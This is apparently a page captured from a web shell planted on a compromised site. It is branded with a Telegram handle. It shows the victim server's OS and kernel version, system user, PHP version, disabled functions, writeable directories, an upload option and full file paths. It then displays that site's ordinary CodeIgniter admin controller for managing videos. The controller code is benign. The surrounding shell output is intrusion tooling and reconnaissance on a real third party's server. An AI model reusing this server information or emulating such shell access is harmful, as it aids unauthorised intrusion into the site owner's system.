https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/symphony-solusi.co.id/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/symphony-solusi.co.id/public_html/application/controllers/admin/Videos.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Videos extends Admin_Controller {
    //this property is used for validating existing video title on call back edit video
    private $video_current_id = NULL;

    function __construct() {
        parent::__construct();
        $this->load->model('video_m');
    }

    //this is to list all videos
    public function index() {
        //pagination in action. 100 results per page
        $this->load->library('pagination');

        $config = array();
        $this->load->helper('pagination_helper');
        $config = pagination_format();
        $config['base_url'] = base_url() . 'admin/videos/index';
        $config['total_rows'] = $this->video_m->record_count();
        $config['per_page'] = 100;
        $config['uri_segment'] = 4;

        $this->pagination->initialize($config);
        $this->data['videos'] = $this->video_m->get_all_videos(
            $config['per_page'],
            $this->uri->segment($config['uri_segment'])
        );

        //load view
        $this->data['subview'] = 'admin/videos/index';
        $this->load->view('admin/templates/header', $this->data_header);
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }

    //to add a new video 
    public function add() {
        $this->data['videos'] = $this->video_m->get_new();

        //get ordering number and display at add form
        $this->db->select_max('ordering')->from('videos');
        $current_priority = $this->db->get()->row()->ordering;
        if ($current_priority == NULL) {
            $this->data['videos']->ordering = 1;
        } else {
            $this->data['videos']->ordering = $current_priority + 1;
        }

        //validation in action
        //validation check in action 
        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $config = $this->video_m->rules;
        $this->form_validation->set_rules($config);

        //add $this because we use hmvc
        if ($this->form_validation->run($this) == TRUE) {

            $data = $this->table_data_processing(
                $this->input->post('title'),
                $this->input->post('display'),
                $this->input->post('ordering'),
                $this->input->post('url')
            );

            $this->video_m->add_video($data);

            $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Video Add Successful</p>');

            redirect('admin/videos');
        }
      
        $this->data['subview'] = 'admin/videos/edit';
        $this->load->view('admin/templates/header', $this->data_header);
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }

    //to edit video in admin
    public function edit($id = NULL) {
        if ($id == NULL) {
            show_404();
        }

        //check if id exist. If not exist, show 404.
        $count = $this->video_m->count_exist($id);
        if ($count == 0) {
            show_404();
        }

        $this->data['videos'] = $this->video_m->get($id);

        $this->video_current_id = (int) $id;

        //validation check in action
        $this->load->library('form_validation');
        $this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

        $config = $this->video_m->rules;
        $this->form_validation->set_rules($config);

        if ($this->form_validation->run($this) == TRUE) {
          $data = $this->table_data_processing(
              $this->input->post('title'),
              $this->input->post('display'),
              $this->input->post('ordering'),
              $this->input->post('url')
          );

            $this->video_m->edit_video($id, $data);

            $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Video Edit Successful</p>');

            redirect('admin/videos/edit/' .  $id);
        }
      
        $this->data['subview'] = 'admin/videos/edit';
        $this->load->view('admin/templates/header', $this->data_header);
        $this->load->view('admin/_layout_main', $this->data);
        $this->load->view('admin/templates/footer');
    }


    //to delete a video
    public function delete($id) {
        //check if id exist. If not exist, show 404.
        $count = $this->video_m->count_exist($id);

        if ($count == 0) {
            //page not exist
            show_404();
        }

        //delete video
        $this->video_m->delete($id);

        $this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Video Delete Successful</p>');
        redirect('admin/videos');
    }

    private function table_data_processing($title, $display, $ordering, $url)
    {
        $data = array(
            'title'     => $this->security->xss_clean($title),
            'display'   => $display,
            'ordering'  => $ordering,
            'url'       => $this->security->xss_clean($url)
        );

        return $data;
    }
}

https://t.me/RX1948 - 2025